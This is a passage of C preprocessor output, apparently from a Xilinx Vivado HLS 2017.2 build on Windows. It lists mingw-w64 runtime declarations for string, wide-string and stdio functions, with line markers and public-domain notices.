__attribute__ ((__dllimport__)) void * _memccpy(void *_Dst,const void *_Src,int _Val,size_t _MaxCount);
void * memchr(const void *_Buf ,int _Val,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _memicmp(const void *_Buf1,const void *_Buf2,size_t _Size);
__attribute__ ((__dllimport__)) int _memicmp_l(const void *_Buf1,const void *_Buf2,size_t _Size,_locale_t _Locale);
int memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
void * memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _Size) ;
void * memset(void *_Dst,int _Val,size_t _Size);
void * memccpy(void *_Dst,const void *_Src,int _Val,size_t _Size) ;
int memicmp(const void *_Buf1,const void *_Buf2,size_t _Size) ;
char * _strset(char *_Str,int _Val) ;
char * _strset_l(char *_Str,int _Val,_locale_t _Locale) ;
char * strcpy(char * __restrict__ _Dest,const char * __restrict__ _Source);
char * strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);
int strcmp(const char *_Str1,const char *_Str2);
size_t strlen(const char *_Str);
size_t strnlen(const char *_Str,size_t _MaxCount);
void * memmove(void *_Dst,const void *_Src,size_t _Size) ;
__attribute__ ((__dllimport__)) char * _strdup(const char *_Src);
char * strchr(const char *_Str,int _Val);
__attribute__ ((__dllimport__)) int _stricmp(const char *_Str1,const char *_Str2);
__attribute__ ((__dllimport__)) int _strcmpi(const char *_Str1,const char *_Str2);
__attribute__ ((__dllimport__)) int _stricmp_l(const char *_Str1,const char *_Str2,_locale_t _Locale);
int strcoll(const char *_Str1,const char *_Str2);
__attribute__ ((__dllimport__)) int _strcoll_l(const char *_Str1,const char *_Str2,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _stricoll(const char *_Str1,const char *_Str2);
__attribute__ ((__dllimport__)) int _stricoll_l(const char *_Str1,const char *_Str2,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _strncoll (const char *_Str1,const char *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _strncoll_l(const char *_Str1,const char *_Str2,size_t _MaxCount,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _strnicoll (const char *_Str1,const char *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _strnicoll_l(const char *_Str1,const char *_Str2,size_t _MaxCount,_locale_t _Locale);
size_t strcspn(const char *_Str,const char *_Control);
__attribute__ ((__dllimport__)) char * _strerror(const char *_ErrMsg) ;
char * strerror(int) ;
__attribute__ ((__dllimport__)) char * _strlwr(char *_String) ;
char *strlwr_l(char *_String,_locale_t _Locale) ;
char * strncat(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count) ;
int strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _strnicmp(const char *_Str1,const char *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _strnicmp_l(const char *_Str1,const char *_Str2,size_t _MaxCount,_locale_t _Locale);
char *strncpy(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count) ;
__attribute__ ((__dllimport__)) char * _strnset(char *_Str,int _Val,size_t _MaxCount) ;
__attribute__ ((__dllimport__)) char * _strnset_l(char *str,int c,size_t count,_locale_t _Locale) ;
char * strpbrk(const char *_Str,const char *_Control);
char * strrchr(const char *_Str,int _Ch);
__attribute__ ((__dllimport__)) char * _strrev(char *_Str);
size_t strspn(const char *_Str,const char *_Control);
char * strstr(const char *_Str,const char *_SubStr);
char * strtok(char * __restrict__ _Str,const char * __restrict__ _Delim) ;
__attribute__ ((__dllimport__)) char * _strupr(char *_String) ;
__attribute__ ((__dllimport__)) char *_strupr_l(char *_String,_locale_t _Locale) ;
size_t strxfrm(char * __restrict__ _Dst,const char * __restrict__ _Src,size_t _MaxCount);
__attribute__ ((__dllimport__)) size_t _strxfrm_l(char * __restrict__ _Dst,const char * __restrict__ _Src,size_t _MaxCount,_locale_t _Locale);
char * strdup(const char *_Src) ;
int strcmpi(const char *_Str1,const char *_Str2) ;
int stricmp(const char *_Str1,const char *_Str2) ;
char * strlwr(char *_Str) ;
int strnicmp(const char *_Str1,const char *_Str,size_t _MaxCount) ;
int strncasecmp (const char *, const char *, size_t);
int strcasecmp (const char *, const char *);
char * strnset(char *_Str,int _Val,size_t _MaxCount) ;
char * strrev(char *_Str) ;
char * strset(char *_Str,int _Val) ;
char * strupr(char *_Str) ;
__attribute__ ((__dllimport__)) wchar_t * _wcsdup(const wchar_t *_Str);
wchar_t * wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source) ;
wchar_t * wcschr(const wchar_t *_Str,wchar_t _Ch);
int wcscmp(const wchar_t *_Str1,const wchar_t *_Str2);
wchar_t * wcscpy(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source) ;
size_t wcscspn(const wchar_t *_Str,const wchar_t *_Control);
size_t wcslen(const wchar_t *_Str);
size_t wcsnlen(const wchar_t *_Src,size_t _MaxCount);
wchar_t *wcsncat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count) ;
int wcsncmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
wchar_t *wcsncpy(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count) ;
wchar_t * _wcsncpy_l(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count,_locale_t _Locale) ;
wchar_t * wcspbrk(const wchar_t *_Str,const wchar_t *_Control);
wchar_t * wcsrchr(const wchar_t *_Str,wchar_t _Ch);
size_t wcsspn(const wchar_t *_Str,const wchar_t *_Control);
wchar_t * wcsstr(const wchar_t *_Str,const wchar_t *_SubStr);
wchar_t * wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim) ;
__attribute__ ((__dllimport__)) wchar_t * _wcserror(int _ErrNum) ;
__attribute__ ((__dllimport__)) wchar_t * __wcserror(const wchar_t *_Str) ;
__attribute__ ((__dllimport__)) int _wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2);
__attribute__ ((__dllimport__)) int _wcsicmp_l(const wchar_t *_Str1,const wchar_t *_Str2,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _wcsnicmp_l(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount,_locale_t _Locale);
__attribute__ ((__dllimport__)) wchar_t * _wcsnset(wchar_t *_Str,wchar_t _Val,size_t _MaxCount) ;
__attribute__ ((__dllimport__)) wchar_t * _wcsrev(wchar_t *_Str);
__attribute__ ((__dllimport__)) wchar_t * _wcsset(wchar_t *_Str,wchar_t _Val) ;
__attribute__ ((__dllimport__)) wchar_t * _wcslwr(wchar_t *_String) ;
__attribute__ ((__dllimport__)) wchar_t *_wcslwr_l(wchar_t *_String,_locale_t _Locale) ;
__attribute__ ((__dllimport__)) wchar_t * _wcsupr(wchar_t *_String) ;
__attribute__ ((__dllimport__)) wchar_t *_wcsupr_l(wchar_t *_String,_locale_t _Locale) ;
size_t wcsxfrm(wchar_t * __restrict__ _Dst,const wchar_t * __restrict__ _Src,size_t _MaxCount);
__attribute__ ((__dllimport__)) size_t _wcsxfrm_l(wchar_t * __restrict__ _Dst,const wchar_t * __restrict__ _Src,size_t _MaxCount,_locale_t _Locale);
int wcscoll(const wchar_t *_Str1,const wchar_t *_Str2);
__attribute__ ((__dllimport__)) int _wcscoll_l(const wchar_t *_Str1,const wchar_t *_Str2,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _wcsicoll(const wchar_t *_Str1,const wchar_t *_Str2);
__attribute__ ((__dllimport__)) int _wcsicoll_l(const wchar_t *_Str1,const wchar_t *_Str2,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _wcsncoll(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _wcsncoll_l(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount,_locale_t _Locale);
__attribute__ ((__dllimport__)) int _wcsnicoll(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
__attribute__ ((__dllimport__)) int _wcsnicoll_l(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount,_locale_t _Locale);
wchar_t * wcsdup(const wchar_t *_Str) ;
int wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2) ;
int wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount) ;
wchar_t * wcsnset(wchar_t *_Str,wchar_t _Val,size_t _MaxCount) ;
wchar_t * wcsrev(wchar_t *_Str) ;
wchar_t * wcsset(wchar_t *_Str,wchar_t _Val) ;
wchar_t * wcslwr(wchar_t *_Str) ;
wchar_t * wcsupr(wchar_t *_Str) ;
int wcsicoll(const wchar_t *_Str1,const wchar_t *_Str2) ;
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/string_s.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\string.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#9 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/string_s.h" 2 3
#175 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\string.h" 2 3
#63 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h" 2
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#9 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw_print_push.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
/* Undefine __mingw_<printf> macros. */
#11 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
#pragma pack(push,_CRT_PACKING)
#26 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
struct _iobuf {
char *_ptr;
int _cnt;
char *_base;
int _flag;
int _file;
int _charbuf;
int _bufsiz;
char *_tmpfname;
};
typedef struct _iobuf FILE;
#84 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
typedef long _off_t;
typedef long off_t;
__extension__ typedef long long _off64_t;
__extension__ typedef long long off64_t;
#108 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
extern FILE (* _imp___iob)[]; /* A pointer to an array of FILE */
#120 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__extension__ typedef long long fpos_t;
#157 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) int _filbuf(FILE *_File);
__attribute__ ((__dllimport__)) int _flsbuf(int _Ch,FILE *_File);
__attribute__ ((__dllimport__)) FILE * _fsopen(const char *_Filename,const char *_Mode,int _ShFlag);
void clearerr(FILE *_File);
int fclose(FILE *_File);
__attribute__ ((__dllimport__)) int _fcloseall(void);
__attribute__ ((__dllimport__)) FILE * _fdopen(int _FileHandle,const char *_Mode);
int feof(FILE *_File);
int ferror(FILE *_File);
int fflush(FILE *_File);
int fgetc(FILE *_File);
__attribute__ ((__dllimport__)) int _fgetchar(void);
int fgetpos(FILE * __restrict__ _File ,fpos_t * __restrict__ _Pos);
char * fgets(char * __restrict__ _Buf,int _MaxCount,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _fileno(FILE *_File);
__attribute__ ((__dllimport__)) char * _tempnam(const char *_DirName,const char *_FilePrefix);
__attribute__ ((__dllimport__)) int _flushall(void);
FILE * fopen(const char * __restrict__ _Filename,const char * __restrict__ _Mode) ;
FILE *fopen64(const char * __restrict__ filename,const char * __restrict__ mode);
int fprintf(FILE * __restrict__ _File,const char * __restrict__ _Format,...);
int fputc(int _Ch,FILE *_File);
__attribute__ ((__dllimport__)) int _fputchar(int _Ch);
int fputs(const char * __restrict__ _Str,FILE * __restrict__ _File);
size_t fread(void * __restrict__ _DstBuf,size_t _ElementSize,size_t _Count,FILE * __restrict__ _File);
FILE * freopen(const char * __restrict__ _Filename,const char * __restrict__ _Mode,FILE * __restrict__ _File) ;
int fscanf(FILE * __restrict__ _File,const char * __restrict__ _Format,...) ;
int _fscanf_l(FILE * __restrict__ _File,const char * __restrict__ _Format,_locale_t locale,...) ;
int fsetpos(FILE *_File,const fpos_t *_Pos);
int fseek(FILE *_File,long _Offset,int _Origin);
int fseeko64(FILE* stream, _off64_t offset, int whence);
long ftell(FILE *_File);
_off64_t ftello64(FILE * stream);
__extension__ int _fseeki64(FILE *_File,long long _Offset,int _Origin);
__extension__ long long _ftelli64(FILE *_File);
size_t fwrite(const void * __restrict__ _Str,size_t _Size,size_t _Count,FILE * __restrict__ _File);
int getc(FILE *_File);
int getchar(void);
__attribute__ ((__dllimport__)) int _getmaxstdio(void);
char * gets(char *_Buffer) ;
int _getw(FILE *_File);
void perror(const char *_ErrMsg);
__attribute__ ((__dllimport__)) int _pclose(FILE *_File);
__attribute__ ((__dllimport__)) FILE * _popen(const char *_Command,const char *_Mode);
int printf(const char * __restrict__ _Format,...);
int putc(int _Ch,FILE *_File);
int putchar(int _Ch);
int puts(const char *_Str);
__attribute__ ((__dllimport__)) int _putw(int _Word,FILE *_File);
int remove(const char *_Filename);
int rename(const char *_OldFilename,const char *_NewFilename);
__attribute__ ((__dllimport__)) int _unlink(const char *_Filename);
int unlink(const char *_Filename) ;
void rewind(FILE *_File);
__attribute__ ((__dllimport__)) int _rmtmp(void);
int scanf(const char * __restrict__ _Format,...) ;
int _scanf_l(const char * __restrict__ format,_locale_t locale,... ) ;
void setbuf(FILE * __restrict__ _File,char * __restrict__ _Buffer) ;
__attribute__ ((__dllimport__)) int _setmaxstdio(int _Max);
__attribute__ ((__dllimport__)) unsigned int _set_output_format(unsigned int _Format);
__attribute__ ((__dllimport__)) unsigned int _get_output_format(void);
unsigned int __mingw_set_output_format(unsigned int _Format);
unsigned int __mingw_get_output_format(void);
int setvbuf(FILE * __restrict__ _File,char * __restrict__ _Buf,int _Mode,size_t _Size);
__attribute__ ((__dllimport__)) int _scprintf(const char * __restrict__ _Format,...);
int sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...) ;
int _sscanf_l(const char * __restrict__ buffer,const char * __restrict__ format,_locale_t locale,...) ;
__attribute__ ((__dllimport__)) int _snscanf(const char * __restrict__ _Src,size_t _MaxCount,const char * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _snscanf_l(const char * __restrict__ input,size_t length,const char * __restrict__ format,_locale_t locale,...) ;
FILE * tmpfile(void) ;
char * tmpnam(char *_Buffer);
int ungetc(int _Ch,FILE *_File);
int vfprintf(FILE * __restrict__ _File,const char * __restrict__ _Format,va_list _ArgList);
int vprintf(const char * __restrict__ _Format,va_list _ArgList);
/* Make sure macros are not defined. */
extern
__attribute__((__format__ (gnu_printf, 3, 0))) __attribute__ ((__nonnull__ (3)))
int __mingw_vsnprintf(char * __restrict__ _DstBuf,size_t _MaxCount,const char * __restrict__ _Format,
va_list _ArgList);
extern
__attribute__((__format__ (gnu_printf, 3, 4))) __attribute__ ((__nonnull__ (3)))
int __mingw_snprintf(char * __restrict__ s, size_t n, const char * __restrict__ format, ...);
extern
__attribute__((__format__ (gnu_printf, 1, 2))) __attribute__ ((__nonnull__ (1)))
int __mingw_printf(const char * __restrict__ , ... ) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 1, 0))) __attribute__ ((__nonnull__ (1)))
int __mingw_vprintf (const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 3))) __attribute__ ((__nonnull__ (2)))
int __mingw_fprintf (FILE * __restrict__ , const char * __restrict__ , ...) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 0))) __attribute__ ((__nonnull__ (2)))
int __mingw_vfprintf (FILE * __restrict__ , const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 3))) __attribute__ ((__nonnull__ (2)))
int __mingw_sprintf (char * __restrict__ , const char * __restrict__ , ...) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 0))) __attribute__ ((__nonnull__ (2)))
int __mingw_vsprintf (char * __restrict__ , const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
__attribute__ ((__dllimport__)) int _snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _snprintf_l(char * __restrict__ buffer,size_t count,const char * __restrict__ format,_locale_t locale,...) ;
__attribute__ ((__dllimport__)) int _vsnprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,va_list _Args) ;
__attribute__ ((__dllimport__)) int _vsnprintf_l(char * __restrict__ buffer,size_t count,const char * __restrict__ format,_locale_t locale,va_list argptr) ;
int sprintf(char * __restrict__ _Dest,const char * __restrict__ _Format,...) ;
int _sprintf_l(char * __restrict__ buffer,const char * __restrict__ format,_locale_t locale,...) ;
int vsprintf(char * __restrict__ _Dest,const char * __restrict__ _Format,va_list _Args) ;
/* this is here to deal with software defining
* vsnprintf as _vsnprintf, eg. libxml2. */
int vsnprintf(char * __restrict__ _DstBuf,size_t _MaxCount,const char * __restrict__ _Format,va_list _ArgList) ;
int snprintf(char * __restrict__ s, size_t n, const char * __restrict__ format, ...);
#312 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
int vscanf(const char * __restrict__ Format, va_list argp);
int vfscanf (FILE * __restrict__ fp, const char * __restrict__ Format,va_list argp);
int vsscanf (const char * __restrict__ _Str,const char * __restrict__ Format,va_list argp);
__attribute__ ((__dllimport__)) int _vscprintf(const char * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _set_printf_count_output(int _Value);
__attribute__ ((__dllimport__)) int _get_printf_count_output(void);
#330 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) FILE * _wfsopen(const wchar_t *_Filename,const wchar_t *_Mode,int _ShFlag);
wint_t fgetwc(FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fgetwchar(void);
wint_t fputwc(wchar_t _Ch,FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fputwchar(wchar_t _Ch);
wint_t getwc(FILE *_File);
wint_t getwchar(void);
wint_t putwc(wchar_t _Ch,FILE *_File);
wint_t putwchar(wchar_t _Ch);
wint_t ungetwc(wint_t _Ch,FILE *_File);
wchar_t * fgetws(wchar_t * __restrict__ _Dst,int _SizeInWords,FILE * __restrict__ _File);
int fputws(const wchar_t * __restrict__ _Str,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) wchar_t * _getws(wchar_t *_String) ;
__attribute__ ((__dllimport__)) int _putws(const wchar_t *_Str);
int fwprintf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...);
int wprintf(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _scwprintf(const wchar_t * __restrict__ _Format,...);
int vfwprintf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,va_list _ArgList);
int vwprintf(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int swprintf(wchar_t * __restrict__ , const wchar_t * __restrict__ , ...) ;
__attribute__ ((__dllimport__)) int _swprintf_l(wchar_t * __restrict__ buffer,size_t count,const wchar_t * __restrict__ format,_locale_t locale,... ) ;
__attribute__ ((__dllimport__)) int vswprintf(wchar_t * __restrict__ , const wchar_t * __restrict__ ,va_list) ;
__attribute__ ((__dllimport__)) int _swprintf_c(wchar_t * __restrict__ _DstBuf,size_t _SizeInWords,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf_c(wchar_t * __restrict__ _DstBuf,size_t _SizeInWords,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _vsnwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,va_list _Args) ;
int snwprintf (wchar_t * __restrict__ s, size_t n, const wchar_t * __restrict__ format, ...);
int vsnwprintf (wchar_t * __restrict__ , size_t, const wchar_t * __restrict__ , va_list);
#373 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
int vwscanf (const wchar_t * __restrict__ , va_list);
int vfwscanf (FILE * __restrict__ ,const wchar_t * __restrict__ ,va_list);
int vswscanf (const wchar_t * __restrict__ ,const wchar_t * __restrict__ ,va_list);
__attribute__ ((__dllimport__)) int _fwprintf_p(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _wprintf_p(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vfwprintf_p(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vwprintf_p(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _swprintf_p(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf_p(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _scwprintf_p(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vscwprintf_p(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _wprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _wprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _fwprintf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _fwprintf_p_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vfwprintf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vfwprintf_p_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _swprintf_c_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _swprintf_p_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vswprintf_c_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vswprintf_p_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _scwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _scwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vscwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _snwprintf_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vsnwprintf_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList) ;
__attribute__ ((__dllimport__)) int _swprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,va_list _Args);
__attribute__ ((__dllimport__)) int __swprintf_l(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,_locale_t _Plocinfo,...) ;
__attribute__ ((__dllimport__)) int _vswprintf_l(wchar_t * __restrict__ buffer,size_t count,const wchar_t * __restrict__ format,_locale_t locale,va_list argptr) ;
__attribute__ ((__dllimport__)) int __vswprintf_l(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,_locale_t _Plocinfo,va_list _Args) ;
#417 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) wchar_t * _wtempnam(const wchar_t *_Directory,const wchar_t *_FilePrefix);
__attribute__ ((__dllimport__)) int _vscwprintf(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vscwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
int fwscanf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _fwscanf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
int swscanf(const wchar_t * __restrict__ _Src,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _swscanf_l(const wchar_t * __restrict__ _Src,const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
__attribute__ ((__dllimport__)) int _snwscanf(const wchar_t * __restrict__ _Src,size_t _MaxCount,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _snwscanf_l(const wchar_t * __restrict__ _Src,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
int wscanf(const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _wscanf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
__attribute__ ((__dllimport__)) FILE * _wfdopen(int _FileHandle ,const wchar_t *_Mode);
__attribute__ ((__dllimport__)) FILE * _wfopen(const wchar_t * __restrict__ _Filename,const wchar_t *__restrict__ _Mode) ;
__attribute__ ((__dllimport__)) FILE * _wfreopen(const wchar_t * __restrict__ _Filename,const wchar_t * __restrict__ _Mode,FILE * __restrict__ _OldFile) ;
__attribute__ ((__dllimport__)) void _wperror(const wchar_t *_ErrMsg);
__attribute__ ((__dllimport__)) FILE * _wpopen(const wchar_t *_Command,const wchar_t *_Mode);
__attribute__ ((__dllimport__)) int _wremove(const wchar_t *_Filename);
__attribute__ ((__dllimport__)) wchar_t * _wtmpnam(wchar_t *_Buffer);
__attribute__ ((__dllimport__)) wint_t _fgetwc_nolock(FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fputwc_nolock(wchar_t _Ch,FILE *_File);
__attribute__ ((__dllimport__)) wint_t _ungetwc_nolock(wint_t _Ch,FILE *_File);
#475 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) void _lock_file(FILE *_File);
__attribute__ ((__dllimport__)) void _unlock_file(FILE *_File);
__attribute__ ((__dllimport__)) int _fclose_nolock(FILE *_File);
__attribute__ ((__dllimport__)) int _fflush_nolock(FILE *_File);
